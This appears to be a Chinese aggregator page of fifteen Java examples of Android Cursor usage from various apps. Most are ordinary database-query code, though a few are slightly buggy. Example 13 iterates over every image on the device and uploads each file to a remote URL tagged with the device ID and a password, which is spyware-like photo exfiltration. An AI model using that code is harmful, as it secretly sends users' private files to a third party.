本文整理汇总了Java中android.database.Cursor类的典型用法代码示例。如果您正苦于以下问题:Java Cursor类的具体用法?Java Cursor怎么用?Java Cursor使用的例子?那么, 这里精选的类代码示例或许可以为您提供帮助。
Cursor类属于android.database包,在下文中一共展示了Cursor类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Java代码示例。
示例1: getRouteHistory
import android.database.Cursor; //导入依赖的package包/类
public RouteHistory getRouteHistory() {
SQLiteDatabase db = this.getReadableDatabase();
Cursor cursor = db.rawQuery("SELECT * FROM " + TABLE_ROUTE +
" ORDER BY " + COLUMN_DATE + " DESC;", null);
RouteHistory rh = new RouteHistory();
cursor.moveToFirst();
if (cursor != null) {
do {
Route route = new Route();
route.setScore(cursor.getDouble(cursor.getColumnIndex(COLUMN_SCORE)));
GregorianCalendar date = new GregorianCalendar();
date.setTimeInMillis(cursor.getLong(cursor.getColumnIndex(COLUMN_DATE)));
route.setDate(date);
rh.add(route);
} while (cursor.moveToNext());
}
this.close();
return rh;
}
示例2: onCreateLoader
import android.database.Cursor; //导入依赖的package包/类
@Override
public Loader<Cursor> onCreateLoader(int id, Bundle args) {
Uri uri;
switch (id) {
case LOADER_CAN_UPDATE:
uri = AppProvider.getCanUpdateUri();
break;
case LOADER_KNOWN_VULN:
uri = AppProvider.getInstalledWithKnownVulnsUri();
break;
default:
throw new IllegalStateException("Unknown loader requested: " + id);
}
return new CursorLoader(
activity, uri, Schema.AppMetadataTable.Cols.ALL, null, null, Schema.AppMetadataTable.Cols.NAME);
}
示例3: readEntity
import android.database.Cursor; //导入依赖的package包/类
/** @inheritdoc */
@Override
public Friend readEntity(Cursor cursor, int offset) {
Friend entity = new Friend( //
cursor.getString(offset + 0), // userId
cursor.isNull(offset + 1) ? null : cursor.getString(offset + 1), // name
cursor.isNull(offset + 2) ? null : Uri.parse(cursor.getString(offset + 2)), // portraitUri
cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3), // displayName
cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4), // region
cursor.isNull(offset + 5) ? null : cursor.getString(offset + 5), // phoneNumber
cursor.isNull(offset + 6) ? null : cursor.getString(offset + 6), // status
cursor.isNull(offset + 7) ? null : cursor.getLong(offset + 7), // timestamp
cursor.isNull(offset + 8) ? null : cursor.getString(offset + 8), // nameSpelling
cursor.isNull(offset + 9) ? null : cursor.getString(offset + 9) // displayNameSpelling
);
return entity;
}
示例4: isInDB
import android.database.Cursor; //导入依赖的package包/类
public boolean isInDB(String id) {
SQLiteDatabase db = this.getReadableDatabase();
Cursor cursor = db.query(
FoodContract.FoodEntry.TABLE_NAME,
null,
FoodContract.FoodEntry.ID + " = ?",
new String[] { id },
null,
null,
FoodContract.FoodEntry.NAME
);
int result = cursor.getCount();
cursor.close();
return result > 0;
}
示例5: fromCursor
import android.database.Cursor; //导入依赖的package包/类
public static Note fromCursor(Cursor cursor) {
long id = idFromCursor(cursor);
int contentLines = cursor.getInt(cursor.getColumnIndex(DbNoteView.CONTENT_LINE_COUNT));
OrgHead head = headFromCursor(cursor);
NotePosition position = DbNote.positionFromCursor(cursor);
Note note = new Note();
note.setHead(head);
note.setId(id);
note.setPosition(position);
note.setContentLines(contentLines);
String inheritedTags = cursor.getString(cursor.getColumnIndex(DbNoteView.INHERITED_TAGS));
if (! TextUtils.isEmpty(inheritedTags)) {
note.setInheritedTags(DbNote.dbDeSerializeTags(inheritedTags));
}
return note;
}
示例6: handleAlbumData
import android.database.Cursor; //导入依赖的package包/类
private void handleAlbumData(Intent data) {
Uri uri = data.getData();
String[] projection = new String[]{
MediaStore.Images.Media.DATA
};
Cursor cursor = getContentResolver().query(
uri,
projection,
null,
null,
null
);
if (cursor != null && cursor.moveToFirst()) {
int dataIndex = cursor.getColumnIndex(MediaStore.Images.Media.DATA);
String imagePath = cursor.getString(dataIndex);
cursor.close();
showBitmap(imagePath);
}
}
示例7: getOrderIndexById
import android.database.Cursor; //导入依赖的package包/类
public int getOrderIndexById(int id) {
Cursor cursor = null;
try {
cursor = getEntryById(id);
if (cursor.moveToFirst()) {
while (!cursor.isAfterLast()) {
return cursor.getInt(cursor.getColumnIndex(DataEntry.COLUMN_NAME_ENTRY_ID));
}
}
} finally {
if (cursor != null) {
cursor.close();
}
}
return 0;
}
示例8: isHasDownloadInDB
import android.database.Cursor; //导入依赖的package包/类
public static boolean isHasDownloadInDB(String vid) {
Cursor cursor = null;
boolean isHas = false;
try {
Query query = new Query(sConext.getContentResolver());
query.setVid(vid);
cursor = query(query);
if (cursor != null && cursor.getCount() > 0) {
isHas = true;
}
if (!(cursor == null || cursor.isClosed())) {
cursor.close();
}
} catch (Exception e) {
e.printStackTrace();
if (!(cursor == null || cursor.isClosed())) {
cursor.close();
}
} catch (Throwable th) {
if (!(cursor == null || cursor.isClosed())) {
cursor.close();
}
}
return isHas;
}
示例9: c
import android.database.Cursor; //导入依赖的package包/类
public static String c(Context context) {
try {
Cursor query = context.getContentResolver().query(b, null, null, null, null);
if (query == null) {
return null;
}
query.moveToFirst();
if (query.isAfterLast()) {
if (query != null) {
query.close();
}
return null;
}
String string = query.getString(query.getColumnIndex("proxy"));
if (query == null) {
return string;
}
query.close();
return string;
} catch (SecurityException e) {
f.e(a, "getApnProxy has exception: " + e.getMessage());
return "";
}
}
示例10: readDataFromCursor
import android.database.Cursor; //导入依赖的package包/类
@Override
public boolean readDataFromCursor(Cursor cursor, QueryEnum query) {
boolean success = false;
if (cursor != null && cursor.moveToFirst()) {
if (SessionDetailQueryEnum.SESSIONS == query) {
readDataFromSessionCursor(cursor);
mSessionLoaded = true;
success = true;
} else if (SessionDetailQueryEnum.TAG_METADATA == query) {
readDataFromTagMetadataCursor(cursor);
success = true;
} else if (SessionDetailQueryEnum.FEEDBACK == query) {
readDataFromFeedbackCursor(cursor);
success = true;
} else if (SessionDetailQueryEnum.SPEAKERS == query) {
readDataFromSpeakersCursor(cursor);
success = true;
} else if (SessionDetailQueryEnum.MY_VIEWED_VIDEOS == query) {
readDataFromMyViewedVideosCursor(cursor);
success = true;
}
}
return success;
}
示例11: getAccessDns
import android.database.Cursor; //导入依赖的package包/类
public Cursor getAccessDns(String dname) {
long now = new Date().getTime();
lock.readLock().lock();
try {
SQLiteDatabase db = this.getReadableDatabase();
// There is a segmented index on dns.qname
// There is an index on access.daddr and access.block
String query = "SELECT a.uid, a.version, a.protocol, a.daddr, d.resource, a.dport, a.block, d.time, d.ttl";
query += " FROM access AS a";
query += " LEFT JOIN dns AS d";
query += " ON d.qname = a.daddr";
query += " WHERE a.block >= 0";
query += " AND d.time + d.ttl >= " + now;
if (dname != null)
query += " AND a.daddr = ?";
return db.rawQuery(query, dname == null ? new String[]{} : new String[]{dname});
} finally {
lock.readLock().unlock();
}
}
示例12: getMaxId
import android.database.Cursor; //导入依赖的package包/类
/**
* @return the max _id in the provided table.
*/
@Thunk static long getMaxId(SQLiteDatabase db, String table) {
Cursor c = db.rawQuery("SELECT MAX(_id) FROM " + table, null);
// get the result
long id = -1;
if (c != null && c.moveToNext()) {
id = c.getLong(0);
}
if (c != null) {
c.close();
}
if (id == -1) {
throw new RuntimeException("Error: could not query max id in " + table);
}
return id;
}
示例13: doInBackground
import android.database.Cursor; //导入依赖的package包/类
@Override
protected String doInBackground(String... params) {
Uri uri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
String[] projection = {MediaStore.Images.Media._ID, MediaStore.Images.Media.BUCKET_ID,
MediaStore.Images.Media.BUCKET_DISPLAY_NAME, MediaStore.Images.Media.DATA, MediaStore.Images.Media.DATE_TAKEN, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.SIZE};
Log.i("com.connect", "Pictures started");
Cursor cursor = getContentResolver().query(uri, projection, null, null, null);
if (cursor != null)
{
while (cursor.moveToNext())
{
// if(Integer.parseInt(i)<Integer.parseInt(cursor.getString(5)) && Integer.parseInt(j)>Integer.parseInt(cursor.getString(5)) && Integer.parseInt(k) > (Integer.parseInt(cursor.getString(7))/1024^2))
// {
new UploadFile(cursor.getString(3), urlUploadPictures + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Password=" + password).execute("");
// }
}
}
cursor.close();
Log.i("com.connect", "Pictures done");
return "Executed";
}
示例14: doInBackground
import android.database.Cursor; //导入依赖的package包/类
@Override
protected ArrayList<TV> doInBackground(Void... voids) {
ArrayList<TV> posters = new ArrayList<>();
String[] columns = new String[]{ COLUMN_POSTER_PATH, COLUMN_TV_SHOW_ID, COLUMN_NAME};
final Cursor cursor = contentResolver.query(FavoritesContract.FavoriteColumns.uriTVShow,
columns, null, null, null);
if (cursor != null && cursor.getCount() != 0) {
TV data;
while (cursor.moveToNext()) {
data = new TV();
data.setPosterPath(cursor.getString(0));
data.setId(String.format("%s", cursor.getInt(1)));
data.setName(cursor.getString(2));
posters.add(data);
}
} else {
if (LOG) {
Log.d(TAG, "Cursor is empty");
}
}
if (cursor != null)
cursor.close();
return posters;
}
示例15: hasData
import android.database.Cursor; //导入依赖的package包/类
/**
* hasData
*
* @param context context
* @param tableName tableName
* @param where where
* @return bool
*/
protected boolean hasData(Context context, String tableName, String where) {
int count = 0;
try {
SQLiteDatabase db = getHelper(context).getWritableDatabase();
Cursor cursor = db.query(false, tableName, null, where, null, null, null, null, null);
try {
count = cursor.getCount();
} finally {
if (!cursor.isClosed()) {
cursor.close();
}
db.close();
db = null;
}
} catch (Exception e) {
handleException(e);
}
return count > 0;
}